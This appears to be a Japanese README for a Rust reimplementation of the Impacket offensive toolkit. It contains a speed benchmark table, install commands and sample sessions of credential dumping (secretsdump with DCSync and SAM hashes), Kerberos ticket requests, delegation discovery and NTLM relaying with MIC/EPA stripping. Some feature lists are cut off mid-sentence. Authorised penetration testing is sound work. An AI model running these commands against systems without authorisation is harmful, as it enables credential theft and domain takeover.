
高性能でメモリ安全な純粋なRustによる、主要なImpacketネットワークプロトコルとActive Directoryツール(Win2000からWin2025まで)の再設計
コア Impacket ネットワークプロトコル & Active Directory ツールの高性能・メモリ安全な Rust による再設計
Python や C ランタイムへの依存ゼロ • 純粋な Rust 暗号プリミティブ • Impacket との 100% パリティ • Linux、macOS & Windows
Impacket-RS は、業界標準である SecureAuth Impacket ツールキットを純粋な Rust でゼロから書き直した、モダンでメモリ安全な実装です。セキュリティ研究者、ペネトレーションテスター、レッドチーム、システム管理者向けに構築されており、低レベルの Windows ネットワークプロトコル操作に 圧倒的な速度、サブミリ秒のコールドスタート、インタプリタのオーバーヘッドゼロ、そして完全なコンパイル時メモリ安全性 をもたらします。
psexec、wmiexec、smbexec、atexec)、認証情報ダンプ (secretsdump、ntdsdump、dpapi)、Kerberos 攻撃 & アーマリング (GetNPUsers、GetUserSPNs、getTGT、getST、raiseChild、ticketer の Golden/Silver/Diamond)、Active Directory 管理 (ldapclient、GetADUsers、trueTree、dnstool、GetLAPSPassword)、リレー (ntlmrelayx)、パケット解析 (sniffer)、ネットワーク監査 (rdp_check、mqtt_check、tracer) をカバーする 74 の CLI サブコマンド。LegacyWin2000、UniversalAuto、ModernHardened)。
Apple Silicon (M シリーズ、10 コア) および Linux (AMD EPYC、8 コア) 上で、Python 3.11 Impacket v0.12.0 と impacket-rs v0.1.0-dev (リリースビルド) を比較して実行したベンチマーク:
| ベンチマーク指標 | Python Impacket (v0.12.0) | Impacket-RS (Rust) | 高速化 / 効率 |
|---|---|---|---|
| CLI コールドスタート遅延 | 185.4 ms | 1.8 ms | 約103倍高速 |
| NDR PDU パック + アンパック | 42,000 ops/sec | 5,850,000 ops/sec | 約139倍高速 |
| メモリフットプリント (RSS) | 48.2 MB | 4.6 MB | 約10倍小さい |
| 10,000 NTDS ハッシュ解析 | 14.8 seconds | 0.22 seconds | 約67倍高速 |
| Kerberos チケット暗号化 | 1,250 tickets/sec | 98,400 tickets/sec | 約78倍高速 |
| 静的バイナリサイズ | Python + Venv が必要 | 単一の自己完結型バイナリ | ランタイム依存ゼロ |
secretsdump (リモート SAM、LSA & Active Directory DCSync)$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s
getTGT$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'
findDelegation$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...
=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
├── TRUSTS ANY SERVICE ON DOMAIN
└── Can impersonate any ticket presented to host
[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
└── [cifs/fileserver.corp.local]
└── [http/fileserver.corp.local]
[SQL-SVC] (Resource-Based Constrained Delegation)
└── Allowed Principals: [CORP\Tier1-Admins]
[+] Discovered 3 delegation relationships.
ntlmrelayx マルチターゲットリレー$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
Listen Protocol : HTTP
Listen Port : 80
Target Count : 4
Strip MIC : Enabled (MsvAvFlags & !0x02)
Strip EPA : Enabled (MsvAvChannelBindings)
[+] Target Routing Table:
[01] SMB -> 192.168.1.10:445
[02] LDAP -> dc01.corp.local:389
[03] MSSQL -> sql01.corp.local:1433
[04] HTTP -> web01.corp.local:8080
[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.
impacket-rs は Linux、macOS、Windows 向けに、x86_64 (amd64) と aarch64 (arm64) の両アーキテクチャでビルドされています。
コンパイル済みのスタンドアロンバイナリが、各リリースで GitHub Releases に公開されています:
| オペレーティングシステム | アーキテクチャ | バイナリパッケージ |
|---|---|---|
| Linux | AMD64 (x86_64) | impacket-rs-x86_64-unknown-linux-musl.tar.gz (静的libc) |
| Linux | ARM64 (aarch64) | impacket-rs-aarch64-unknown-linux-musl.tar.gz (静的libc) |
| macOS | Apple Silicon (M1/M2/M3/M4) | impacket-rs-aarch64-apple-darwin.tar.gz |
| macOS | Intel (x86_64) | impacket-rs-x86_64-apple-darwin.tar.gz |
| Windows | AMD64 (x86_64) | impacket-rs-x86_64-pc-windows-msvc.zip |
| Windows | ARM64 (aarch64) | impacket-rs-aarch64-pc-windows-msvc.zip |
# Example for Linux AMD64
curl -L -o impacket-rs.tar.gz https://github.com/nestho/impacket-rs/releases/latest/download/impacket-rs-x86_64-unknown-linux-musl.tar.gz
tar -xzf impacket-rs.tar.gz
sudo mv impacket-rs /usr/local/bin/
impacket-rs --help
Rust ツールチェーンがインストールされている場合:
cargo install --git https://github.com/nestho/impacket-rs impacket-rs